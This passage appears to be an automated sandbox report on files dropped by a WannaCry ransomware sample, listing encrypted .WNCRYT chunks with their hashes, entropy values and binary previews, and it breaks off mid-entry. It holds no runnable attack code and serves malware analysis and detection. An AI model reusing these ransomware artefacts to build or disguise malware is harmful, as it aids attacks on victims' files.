                                                                                                      MD5:E34D495C82DD2C961CCD5BFAADEB14FC
                                                                                                      SHA1:F1E15FE266F9BE808B224C004D93B3324D779DA4
                                                                                                      SHA-256:6321C49D9257CDC802DEA49057784BE85D53A2E1C05998C2BCA90EB92F235FDB
                                                                                                      SHA-512:7B685B562DD314E0B836B595945CCB002B44056C7CFE023483413F48BFEEE166B52FBD7B927B3CCAB238CB6F2B1659EBA188A6D9E809BA8A06E41C79A7B9051C
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.?.'.N.....1r...j{..6=..X...A..p.$9.N..O.a..%.d..k..;D...'O..Q[@.....I8.....@..Z...c!.$9..}.n.W.I...qN.7....a..bJ..Y...9$.[.....e.C...?..B...$.~...[.;.?.r.~.....M..de o-..l..8wc.'b...Qd..p.E...,.YMi..*#v$_.f>.....2..z!...u..R....ur0.%..t3Us.~o..~...$_...v.L4`...?9.SZ..`..{v.he.^....T....7A&....W`.pj..].....W=[.......C.QT.ii.K..=......v.d..p.....z..........>!.#..l.En...|...... /.8..~I,..".7*....;8...J..Hp;.Y.I..6..34.q.>+.&.J h.XK..*Zo.8>..*..9J..m",:..x..$G.L...>.uR....[+..s..(.7Dh...I.l.m.|.GN....uD......._...i.....~...=...`..-.......//....6[...........x@....I'.............L..]..p.o.h.c....B...a....`DX.s.I....`x..-./[..._@."..........._.u:4..e..4%.d.2|.@....>NG...jRV.S.X........w1......."..#...%{..b...U'...7).\.*../*....+...km...wJ.0....j..dn.N.Z-........P.3........O..."'-...f.;.a...".&......t..T.%..:..>.a...T.....!.=....&.........m.......pm.G+.X.....%..$lL.5>F.&..Y1..4..Y..X.&..6.@l3..L.C.N...R*.d...Q.'.).P..1p...k..q.....6..

                                                                                                      C:\Users\user\AppData\Local\Temp\14.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.8234290402685
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:aEMJ4Qclo1AdaKly4l/qHOJn7/W4/OGeNt2OFHPLNfnJju9dDjYKld/9uL:HCK4EkOJn7WQaN4OFBfnJju9ljlldVuL
                                                                                                      MD5:EA5138CAAF475E93CEDE441488505699
                                                                                                      SHA1:C784A252FED2FD2B0EBC56B20DB8E21C2FD515B9
                                                                                                      SHA-256:E29E11A86F4A0B30685E6287D81E2C97357CB7B19D1543572263491B0457FC44
                                                                                                      SHA-512:01950EDDCAC0535637D99D69EBEA6B5850C422E494014C9E073B683F4C7772808C0954ED4DC9284DC0403FE1264EDD21ABAB59E4472C30F6369060835E36786A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:l.:......V.I.J...eFp...H......../.0.k.!..Okc..N\...m..<b..}...o/...K...~.9PQ......AE1.......Z/..C....K-......q.!...bX.G.R.b@53.g...Utk...Bzy...'Q.G'....7."g.....*.M..N....%S.|Y....'...wp..j......./x~p...'...o... .(.,.&(J-....e...A.0O........X.3..Y[Z..S........=.&..>.....u..O..P...2..S....FX.]..5_..v...Pz......a........[.......D...N....|.r.W..6.......TA.....]...P:...=...'.......yx...h..........Mh5J..Kx.48......I..e...&8..d.h~.u.NB..B....%.m..~.....3.....m....}."....fc..p..GY..wK.3..R........=..U..C......mp..^T.D.nd.. .7......w.%..-t.c.)..3(N.*y.../.Pn...Ca......$/..!.G......o.GN..I..........9......C...c...b...W]...;..~...T.........A....M..?. A8;.U..L...+DU.`..B..........X..OB../-/.Yy^.G..<......B^)o)..MC.l........V....D.Z...c.&... ..@T.t...o`\{I)......IT......$o p9HZ.E.J...>.};.......6..../JS.,.o'._..l..P0...u.}....u...&.Q...xia..R..\C`t[O...y ...#K.q..J......9...3.$.`.2.u.s.T.t.@z.....!km.........c.}y...Ck.j .5x.ULErh.......T...s.

                                                                                                      C:\Users\user\AppData\Local\Temp\15.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.79662135077442
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:E9lS8xum90zHEIxZowXSIszbGHQnTnnFGGMhRJq3M:E9lS8xMoo3HQTnF3M7M3M
                                                                                                      MD5:F061F99392421D0BD7539854A672D4DE
                                                                                                      SHA1:5976F2E65BE8B924726BDBBD28CE96E6F619C493
                                                                                                      SHA-256:A42614ED01DB7505FE901A413E128051D97BB6B19944DAD17B85815EA20E3521
                                                                                                      SHA-512:832CFABF090BBDC412C3B564C05C7E1CE11FA7113820E97EFB8907A839B469498061E2DE1199BE73ACC59E7B5F579557FBCE5ACA45FB00A59F3EE40EE7349DC5
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.>:k.*...C.fFsm..\[XS...K...9J..t.yW.. ..._.L.z.f.ajk3.3. ...Q..*.._......uG...i....g..V....u...7.%...U)..n.0.._..7...>X...B._.2.Q.. U!J...I.;{.~.)e...m!.e...P_...&..6...F-h._..m.'.K..6.!....,A{.#.$.?...$...X......O...j.C.X$yR......[U;5.......<...T}K.fgG..X"c..O_.....X!..\9.....RJ-?c..#...l.`7..u..............LH...~}.m..\q7...@y...v..K..e7.BKX^...:R{........S]..\...$....p/|......|KA.,Mq...".V...|d..o5.xG.m....Ga.F.eo.P.|!..24..s*..o.....T..2.7...|Ve...r..3.z;rM...........a.;U...n$..P...Z...{.....iIhBCpb...]R.FTjkp.._.xg.msuV.'...)M....s#...nBQ...PUk..r...*=.d.... ._|.....D\56..<....'Z..U.[...0.rj..QP..9.J....<-...s....<.g.!.k..1t2{wO....&...x oA...XqF..._/.-.p...f....<>#{(;.X5g.E........]3........WL.....A.5 !".i..f..F5..%........=O.D....Av...i....}b`.1..5)=k.5.................5P... ..~.y.1.5..jP....W...k.....4>~....;.E~.Q>>21(h.*....n.t"..........%...~j.....L.[.E6v>-cJ.x....R..5.OXj....E.0j...zi?...x...m....|..*S%'...2./P............y.

                                                                                                      C:\Users\user\AppData\Local\Temp\16.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.830575321680762
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:OcbWfI0swi4zEcqJDXz8gc9M04LHNzSuBU0nMivIB0Pp+v6pZ54R:JRw9EcEJrLHN+GUvivDp+iU
                                                                                                      MD5:2A90D82A3245167F2741258544B9D724
                                                                                                      SHA1:AC58E6B13DAA0C533B42438DE64168129807828D
                                                                                                      SHA-256:FA664A7179683D54D56E04F20499C909D4F19C286B5512CB9EFC73632DA60B12
                                                                                                      SHA-512:FC292553743F111FE7EB5E849D6979A1AA601974F2863C40283029161A6669F231F69C72E1CBBD3EE630C0C70688657C8B43EE409E6A815D439BE96A6920963F
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.Yd.Z......r~^.0.&d|.....^.....x...?.....j&...+......u.z..W~.b.j K......4"Lp[8.).A..7T./...A.)kE....4....,{`.q...r=..q$....OJ..........i...;..Pf....<._..%..q.Ez.s'l...4.I...p.+vQY;..\g...a.9..6...[q.sR7....aFA..k....1.....F..C....FX/.Kw.>S..l.P....$.f...n..E:z..Z...:d.+..x..B.......&...UO]..h.?...i >YS.i..}&(..k.PO.v.U.H`.t%%..q....%.[......%%...\:....)..~=...X.... ..A.M..}}....;......\.M(x........~.......}k.,...U...2...%.L.D.\xY.....W..e2....0....Q...>...T..-.c.....w."rZ.QG...JxW.:..`.M>....3..9M'.........}....E$.S.1j..C..&.8..c..'..q'.q.^....VD.....-.... ../g....@.t"{."........a.......BH.(xMp]a...6-.......B.d.<....W.....T...6...8..i..rC.9.n....L...p.fP5....S.g.z.,Y@S.@%.nk..=...@....9G..~..+Y.`{....Di...FK....../v..|....}....b...y;.:V..m..N..A..e....}|...eq.G.L.CS.-..."$..u....eV.......9.Y...o...9....u..m....[..........".XCk..FN.>...n.g....e..G.Q..o.C. .(.4Bk"......H..H.~U..}...{I..\3..68>s6..2..E9n....$&..z......E.eA..~.B.

                                                                                                      C:\Users\user\AppData\Local\Temp\17.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.801029920470473
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:x4jFAhVSDfE/1YdDG1meYVNsSFbFfnAZrbQ63NYwUmfRz+8cQRcwu:x2QWs9oQ0nNbNnAbp3kyRz+8cQRcwu
                                                                                                      MD5:879EC07A7DB6254F7C812971030E85DF
                                                                                                      SHA1:A5818EBA5B39C23F70D2C9F262C8E04D2F42B5F5
                                                                                                      SHA-256:C4BD60FA61FFB62EE25D76F27B814B930A2EEC03BE8E699D3C686A443FE87FC5
                                                                                                      SHA-512:17A71859D10035781C7ACBCE32A70D15CEE0A345679B8F5833975611569A801AC79FFB1C4719C18F2907A222CB6BF42CB324E4C9641DE289BFEB832037DC7C6D
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:....6...6.9.|.VK.N.dc+....P.k...5.].3../,+...@1kQ .1.5Z>..G..z.y.2W.!.a.[.....J]".).,.3.ET.j.+..d.Z7?.............\...H.=....B..:.*..vh-[....P7....=+.}..uW..N.+T.q.R.1c..=z.-...r.OT.........2.3..\...w`a:2.w.'.7..246..]_..1[9N....n..q.7.O.b..+I........%*$4+...V..K..3.5@L.9..q..71.N..+~.9X.......).....L......PQ...X*.x........(...8.%.../.&Pj=J...rd.N.'.n.HG.Cw.!.gNLy.P..o.rh........W...Ec)Z....#t.....:..^..n\T......".......-p..._...s;g......B...`H.uy...(. ,...>Cd.U..A.`.o.2....e.4gy.^.,5Z)F...|M..E.....y.....".F.$..b...V...O...h...< ...Q..7;.t.SKp..H...._.h.|2..=....c..Gl.>..]....e..,......$.wcz...(..l..N.N ....;..%.U......1.sK>.......2.........#..Ll..vU.....dt,~...V...j.........s.O...&Z.._........%yq.X....$..&......C.i_..L....Y.i.e3..5.".H.a...v..n...o.1G{{..c|.o...Q...v/"\H7.es.W...&.8gSWJ....3i.....X....._..BFt|K....=.P...x}..H..Alt. 0..P`.`.....j.,.{...u......TT...#.3pp{..;.../.IF*^w..1e/..Yo.Gs......*.d.Z.....[=...C2..A8..\..?.e.Q.;I4N..i.57.

                                                                                                      C:\Users\user\AppData\Local\Temp\18.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.838337856484303
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:MJuOPHw1g8/vaJ2az+6GamY3NbBOWSf6EzdM7oc99Lpy:gu//Bam8OWSf6N7HJy
                                                                                                      MD5:062DD3828FA760054C83989166EC5320
                                                                                                      SHA1:1EBA357DEF3E79574E91799D2A8976A7C28FF679
                                                                                                      SHA-256:6F3F417F2444F10E4C7504E6FE9986DE37A8AAC59F9B030D32993105082CEC0C
                                                                                                      SHA-512:60E9A6AE435F6CEB863E204CCDE286F151114B59454ECA608BF6CBD44BE3035CD139F80B7A90A364ACEBD7023ADC63EF2FD004AB16BE3DD9C4A4E3C1927ACD8B
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:A|.`..$.w.x..H9..M.....r[....A..7..z...N...f.e..8*.....P......].})n.hhh.w.O^...|..3hh.G./...T..^.4..x.J...S..&.o.fO.l.4....`....J.~<.ww.ixw....7I.~...js.gQA'.-!x......J...W.X+.M....u3.U.#.r1...MW.V.#X.k...L...Z......t..(.6..u .~.C...-V.c..OO.6f=MU(d.......2d;a.GT2.........bl..N.j...af..|6.K.._M...h..0h............P).k...f....S..t......T68.91,..../..\...=..S ./.../...h....s.R..EMx....3>.ip.g?.5..$|..Y...dR_.$.,>}..........S....X...y4|...&i....x..>.1e..MC..^r.!@.(bB.!.^..MYQ%6.*.4..3.]|BG.vzV_.A......F..q.sa.8D#H.q..B3......%.\.I.6I..,....:......UB...iD..C......6..P??..w'.b..NK...Q..E.{..Hu:]..F..G.7.....p.P....6_H.....7{..%.y...9Z.k}e>h..tB..G.v0.j...(R....|...e....Mc..vx.x..}...T...(..[.N.n...l.}J.y.fg.`...?J.x..cl.)..k....G....t-...%#I\r....[..L.E*..,P..*...e[ki.......]A.....rc=..".\KP...[=.`.2.dN3.r.^..._..f.{q.r...H..u. P..3yJ...m|#....u...../..A.}.71......$O.M.....I...<i...F,..u.......0A....j.zEKS....7Q.1......-.uz..o}R<g...3.!;2R.Q.T%Z

                                                                                                      C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):24856
                                                                                                      Entropy (8bit):7.993500212388911
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:384:9NxhgAQLpRdnKNC7bRhzGTcJupVL3HRFPQzhmaIx06DEA5kXALPvz:sAGrtupVL3YFmae7aXAjb
                                                                                                      MD5:FB2EF80447DC2CF6C937E5513BA7B90D
                                                                                                      SHA1:CA4624A62802FFB7E5E7918548110E3368C437DF
                                                                                                      SHA-256:5B7E209CA30FEF59453D29D2FFD35F703315C5E85002A931CBFBF77A476705AE
                                                                                                      SHA-512:18487C8AFF6A5130876599FAE41E69A063B5A32C9963B820F451485EC6719FF8D727A494611070CA6DC3A8667A606651EEE7397821F08E9103EF6FD514B74D10
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.........9..6.H..}...*|...v..YJ...N.z.....U.dB..4...b.!.....-Q...4.wi.....Tr.q.}%.`#&&.%..h.4.E....:..p..xN...8..VT....".......wru>6..C+..VVP.#/d.."..[... .<.o...>..^..h.&....y7....]....4......n<j\....k..).$S....M..9.......w....B..n..B.....k-.P....zl.....`......l.......Y....,#`......Y%Y.....1.%.j....:.'....5........p...{.bW....C.b..2.S..yX....!Csh....].kh.....3.[E..;KcM.@Mg..@@.'z...6......6.m<..G.||T{Ye...S.U.PVm5.......1..1.....W..kZ...8.y..6..J.S..p.tR.".. O....]w...4.(.U.Y<.-.V.r..H.1..-.[.....J^..uZ:...,I?.l...rm.X@[......}..........5..L..g..c..e.$.y...s..... ......&..\...,.%.=.L.P....Sj..)..:Bz.D....$......x.i.H}n...t......C.P/.....|..Xj..+>.0+...pO....@w..pPTc.s..qN*...N9_u..$*[.....bw...L&.9q...F'......y'......dGX.'..._z...... .........3....p.>@'..(.Z...0..-8=Kk6'.S......d/...-.=.J...Q.....4.0.)`.=........W..8.d...w....4ArR].,4.O....BI.,....a.G...hX...f.LW.X.....%..c.(g..b...ZL{(..*..6.K......5|...Iyi_.b.K..z....n.zd.?...3.:.+.\..

                                                                                                      C:\Users\user\AppData\Local\Temp\19.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.7815088467435976
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:XKcNCSlQm3rinOToiJGHuXEv/IH8DRzHb7FvYKJuoErPkv15sEuOi:XKCHN54X281z7mjoErm3qJ
                                                                                                      MD5:EC1EC0F69ACFAAF62619F7DCA6839CA5
                                                                                                      SHA1:CF97049397BF832306E8AC64EBF49D44831DE368
                                                                                                      SHA-256:A03F2E9CC8B03DE8F891E5A889CCA0C4D13749C118CD24F24A88D1FC53979C61
                                                                                                      SHA-512:FA6F1B473091BE835D102D0A23B96636209C55DDDB82215EFCD67615FF66DE870664D68E09F2095AC352E96B036C7DFAD8D3F742C9BA216C84B36FC9023FC884
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:|8.yb.E.t....6l......+. .r.>/GTD.I.PU...xq....{......9....._..jD.p...........:..4Wi.43.....'..].y. .I<^=.M.1..$;..3..S.X.90KE...r.........)f.z.R..gs..3.yz.....4Nt..|A.AU....A.z...d...3_.+...M..@..y.......S.....*.k.q....S.X..xm.5b.0...%.8...xk.i.;`m+.U...`8V...b..D.9(/.T..0...q+]...4...=.q.....p..e.}....R..L..N.?:3....h^?k..| .%,..DK..YC..#.......)s.~W.p.}e.......L*...&`........L.p>g].S..M......+.........Sw1..(.(..._.|...;b.]...4x_...zr......%N.9w.r{..*.;...1.6......&m...5....(.8..7....Gle.2....X..{y....U&e.@8.C..;...J<_aV..6W\.I....7h<.A}D.&...3`.....'...cS....b.Y..A1..#|..k.M...:o...Q2.................1 $.K.Tr.'...o.$..6...9.;R.j@.M..'^V.....U...xe..V+...tD......V.._.\...6...~.5B.D.FM.:]M....0.>,B.} .SG6.=.,.......^..V{.e.d`u...D..,..<.....8.8.C....t.......Dv\{.s..r....N=.53...f.|.[g..,..+..9[e..?.J.V..:Nd.?...a...X$m.9T.b........A.r.G.K.-...Zz...j.V...-&..B;...........}..O..i..=...:t./....O..~...m6Y.S.r.k....%.8S..Mf.V.JG...'.

                                                                                                      C:\Users\user\AppData\Local\Temp\2.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.79804760771142
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:IzBiufKTri7kxPQ0P2XOopRznjY+2DJTbh/RWm+YLO:INpKTriQxTP2e+2DdV/D+YK
                                                                                                      MD5:8EE15D01BC5F1738E42EAA6D57DBBDB5
                                                                                                      SHA1:5552703B47254AF84BE780DD0A877D1BF2DD5634
                                                                                                      SHA-256:A889B1DF05E7FA9518607412974A7CD700D462B8ED0D58DF73048C1209F58B22
                                                                                                      SHA-512:9787136096463A7F46FB33EFCA93738E591835BCE754AB463532E56503C289E6C4EAF4B81F974C709C5E4ACD62A7958DC76E8E678C35B0EA899BED2737C98D41
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.tk...~.v..*7a..$,..........a:.9S.J-.."x........... .....-.>....Fq.$*.h@.:..u.9t\e758.....-....6...uu..`}.V%..m....N{=....<.n..c..y..!..h,N..<Z].......%K`'._B.-..!..Y.I....{=.(../.a.#|...o...n....s.....V__).|Ja......s..S.jK..&..|.=._1.......[..G.l.gY..|!.....!..5.k..FQJ.q..<}...o...J.NX..L.T..p..V......A......2..O.`j..9...G.6hTt...My..q3..m..4..v...GV.k\o....o.....6..........{..N.o.ql..}q.......3....|.B....wy..\...L.1yYb....~..\Ah..$>.......!=1...E.>.um.Q....#)..-.LD.=LO...L...B....v8_QT.x...A../"..!<DL.".........L.....SC%.d<_"..l..y#..r....)2+`....V..d..k..6.6i.%z.o.q...0........0..e........HJ...4...8$y.w...s...~..p.D.t./.z$7..x"R.c.!.k;..D]nw../....(=...3.F.;..b..8.p.Y.#. 5.K[..N.0F.'.....6.E.Q-.....j.?DP...O..*F,\...jAU.y.o.....c.R-...HJ.-...t_..k..8u.JzvE.9..F..$.]/...e&.[....bTn.X.R...~.B.....0...)...K.............#-..Y.b.b}3.`e....I.6.....4&.Z.. ..x..4.2.%..g.;...v.KzV...}!.$[..].o.`...a..q .w.....qm....d.V!5w....BR.....P....F.....

                                                                                                      C:\Users\user\AppData\Local\Temp\20.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.784452094887201
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:yh70Vq6L5D9XaracLrhPRuqE56mOyw8VygwVjp:yh70l6r3hkqEHwOYVN
                                                                                                      MD5:18C80BCFE622E2F1D27AE6F7A463EDFD
                                                                                                      SHA1:6FAD06DFFFD78579B2D2B94A8C7E461A10BEA83C
                                                                                                      SHA-256:E20E0D1A3F4E66046D2FFCA769834255E993840E9708FDF203836A065DE127B9
                                                                                                      SHA-512:2FADB1DC4471638358DEA7EDC80EAACBAADE1380B9D75E664BDF587C2551DCC5A4C5087E1C80E6CD90CC3D83F839BC95C281211361510530EE5745462B0627B9
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:...#.].i.f......@......a...Z....N.W...|...e...).....H?......0T....2....a...? 3.(;1A.h.?r.......sLH.$...b!.h....AX$.....!..%...yO_....Hed....H....T........."..(.....pa......,..p$....B..."n.z..{Og.L.R$.f:Ev3..E....=0.........a..\#..8..I...6p.Tv..I%b..B......2T..z.1..A.6y.v.o.oO..6....}.f...|...1.....&/..)..h....|..7V.T(.RB.nv..t;....:......Z............#]......e...nQjVo.\Q}.'....3..o6.....iE.V..4...........a..JY.P<B^...E.....)Q*../g.G.o_......2l..#r.w..5k9.&.gqk.'..39A..:..X......I...(M....H.ok..A...4.....D=?...$..^.".=.<..4.5&A..%U...s5H.T.._.t_L6..q<FJ............K.V~.i<.`.....n...1f.$g...).......[B^.u.q(.......pK./....k.h.......+...eu..^.'.o...B..!..E.w...=.....zZt.i]g.....L.X..{.k.0.....84... ...h...n3D..D.....@.....u...<F.6...0...<<....!I.GyQ.,..8...&d.LY.8...e..^..v.....uY......-..........I.JN.U...v.2.@.'...3...!|.*...Q.;.L../..h"...)..F.{..1.\....V.[.j/.....FsEO..FbM.G/....5.<.2..tM.2..ia..K.[B.. +z....`.k %...=....U.$k....

                                                                                                      C:\Users\user\AppData\Local\Temp\21.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.8106645209943
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:aE84MJ7d71+0n1U/TdAlJlnQB2HaBDG+VkTAa+OL1VGz5:aEwD71+0n+TdAlPQB1BFycLOLSz5
                                                                                                      MD5:97B537C22CF67BC96835882DCFAED0E0
                                                                                                      SHA1:BBD3559EB0FCC126E6F0F3DD5D401F78E77D0E2C
                                                                                                      SHA-256:8109B0A02E791569B3F6CD9C996369EFFEBA1889A9C5829000F94853B549B7D0
                                                                                                      SHA-512:2F514D5874A0F020C15ED9B3F715A632ED9AE3F7B8D1EBDB3D8B5F4845089F2230BDD1B2447A175C6C8F379D0B0EB4A0D065F6450CFFB6CF446BF36084B4A8AA
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:C.....d2..][Um..."o...........DR.b...?..#..8...s=L.....?.:.E.%e-...q.d..z..vEa4.H...(...y.!......J.].f..KtT..0.w0.HOMc"N(}.....m....X.b.....L..J7M..64.>.>u...i...r.....e.u.....*.Fm....p}.v.F......6{..a.9./YD.if.J.7;....gL...Z../-W.../F..Y...@&....[..3Z.b1CO..U...x.'rk.M..k.T%9...{..........[.i..dlS.2."6R.mL;.W..E..b....[.XC....cT....g.].....h1....:.9..k./a.5.<..n..).7..J...E.,....H:.......I.H..C....}KL..[...&..\.`h.E.A.M..l.....k..|.4...aP...x.6...R.m..Sp.....%..2.......mZ.:w......3.*...........O..........]..nT......;.. L.a...@.3<..K....[...%.w.].....U..".S.....M....VJ..f.Q.7W...`j...:..k.*s...........8....]B.EU.APz.h.....=.!.x.-%.wu..-.@.o.O.o...1.6...kw.(..0..%/.....T.....e.....l#U...$Ll.c....f.......E......T(.t6.3...g.3.B y.^.).ljg%..<..Xz....u.a..2.n?/p.......Bc.c{......M..C...T......?@/.^....{..[.?m.%...j@G.e...T.e...wP.....l....g.w.3.|}[.......+l .0.6@qw...w.C..*#....*,....*]k.\...)U.W....v8IA.....^.....uw....*.0..z..H4gJ.pC..r...s.~h2l

                                                                                                      C:\Users\user\AppData\Local\Temp\22.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.800063035813511
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:vFIjLxkax9w0CIDviunecy23ZueLT1KAGA0hhKEEPFZfaHt:qjWZM+jcyXcJKAqhhe3CHt
                                                                                                      MD5:A80E0896464A06695FD0CE2067EF3B57
                                                                                                      SHA1:0B4D2CAB236C51E30F32681921AF9BF05B9415E6
                                                                                                      SHA-256:B786CF6810353918AB4CF63F3920FAACB8C6DD49353C5DCFED0B8D22E8F7308D
                                                                                                      SHA-512:32BF9895EE22CA010B74442D243B916B27D2F769DC704401AEAFE69C9731AF48545429F836F007BA8F266188E1B7F7B37F721612238C637C461101B021CE83F8
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:..jfT....\..rBM....H..3..^C..;.\.....8........4.....lS..R5...?..E..vi..'..?&K.*._z. J9....m..{......EV..Lr~.A.X......l..W..>.X.....`.h..>p..D.Qk#`..'^l....D.T...N|:.oI..jN.<..{T....e.Xl$.~;/+.t(....'F....k..};...._[...kTok-.......-.})l..kg..C2.....;.*P.e...g.... ~%..K.wc...3..R:.....CR.,..}.(..z...n...OA...l>..D8].s..s.........u.2o.:T.q~W^.~].7.^....J3<....<.6)...K..h#ba..7.,5.V.H.L....._..>..]H......Q..~R...&.WP]=...........6.....H..m..(o#.(.AR9.v....z..j.K6.y.-K...8n....,M....Vh.>.f.=.J..Ol.,.Y.....&..|.p%y.H:0..hXk._....r...L..BX^m..i:...N.\......6R..t.....3e....b'...h..4...t<...v..y{S28......)...^^.\h...aX.Z.b9..G..O.TWx...g.OS...7.}.2Y....1......)....\.%~.2.[,I. .Y..\%.p...o._>.a9..PR.>.r..4.^.D..=.06.6.....=.l.9.A\c..S}0.(..YQ.]...fq....*.z2.q,........5P}:-]..D.".{e3f{....q.\..D....lg.?I...u3..m..^..a&..q..B...,6.4Gi.....iya......|....;Y..$..Xl56..)YP.)..X..x.{K._...,..{......~...vmx+/I....A......#.....PNV^.ntT.A..&.Z.

                                                                                                      C:\Users\user\AppData\Local\Temp\23.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:OpenPGP Public Key
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.783595745151166
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:WXFFStJf7UENxdd+06XHMIzSnKlm0+NgW9MQ9yDEM+F0n7UNzIsdLIDdQ:5tJffG06XHJz2KEv8QPfY4dYQ
                                                                                                      MD5:30928A416DEEA32A5419C08637F0D23B
                                                                                                      SHA1:E276DA56B9EB5E1E8CA8F0266620AC5166C87D06
                                                                                                      SHA-256:5EC25875DD68AFF8BF794D4C326343F4D41D8284CC5AB7A953AD2AAD9C317DEC
                                                                                                      SHA-512:53F324B19F8CFA193183177FA41AF7F35F3FEC7C6F6712B70404E53A007967FEFA47403053745B9000F9FFD4364EE9CFB3323C6A147FA3569D70538AB4ABCB69
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.4Ok.H..haA.....L>.y.R.U%gG..r.n......m.....o,.P.B..k.<...w,e6.-...cV9..ay(u..{R...!....QZ./.......^.&....<.|.=.f.j....&G_Q_.7n....n.>..;*Z..3.b;.c.a.Z..ZC.......`.."E,......00H..nG..T.t.:..mV....-..`.....9.v....;....<...2U.U..oe....Y...Z.y~n..,vb7...&.#X..A........~_.I.Ni~Gt.....C.t.. .U...E.m....*v.l.k..0/...6l.$.uu}'....,%?./U...mOz...3..gR...V.S%c!.E.,)-..._.imn.N......0[...#l.WH...j.`.....B[...y.Nxf.[7..r.*....UF.].........\Ch0..f.}....@.....D............H.'..c..{yc~.1h.J.....lo.wBv..d5..g...3..i>+...!..&.v........v.....=.Q..JmoE.Q.B..L...8..Q..H.cp:...H.-.=..h....i.N...F.g.RNvn.M.[;...../...QY..Z.2.....^UB..v.q.g`.N..s....S.....t.f.F...-GS.F{j....-!...[."4.1.jbI.L@~q.~p....'....s.Y.~.%].% ..r......{@*1....y.5...V.~..4.....f...f..-..lawhL..;..sa.,.lx...qS(u.{9./......qUm.Po......v.f.$...C.P...6....$..I..~...i.T..-...i..F..Q&./gc.J.l;...j.6......*.ov..z..[.....o.D....rn.o!......H....h,B...AW....t....t...q.6.c,I...HWs.%.c3....IZF.V..

                                                                                                      C:\Users\user\AppData\Local\Temp\24.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.804711541573734
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:Vcl2XuKjjPJ4D78xIWQioKaaQAR9POjaAi3M//Ljisv:HuAjPqP85YAR9POjTaMbf
                                                                                                      MD5:B69A905A71658C9381CC0DBA638750BA
                                                                                                      SHA1:D40769C6C34F8072F2EE232C4D0DAF1CF97891AF
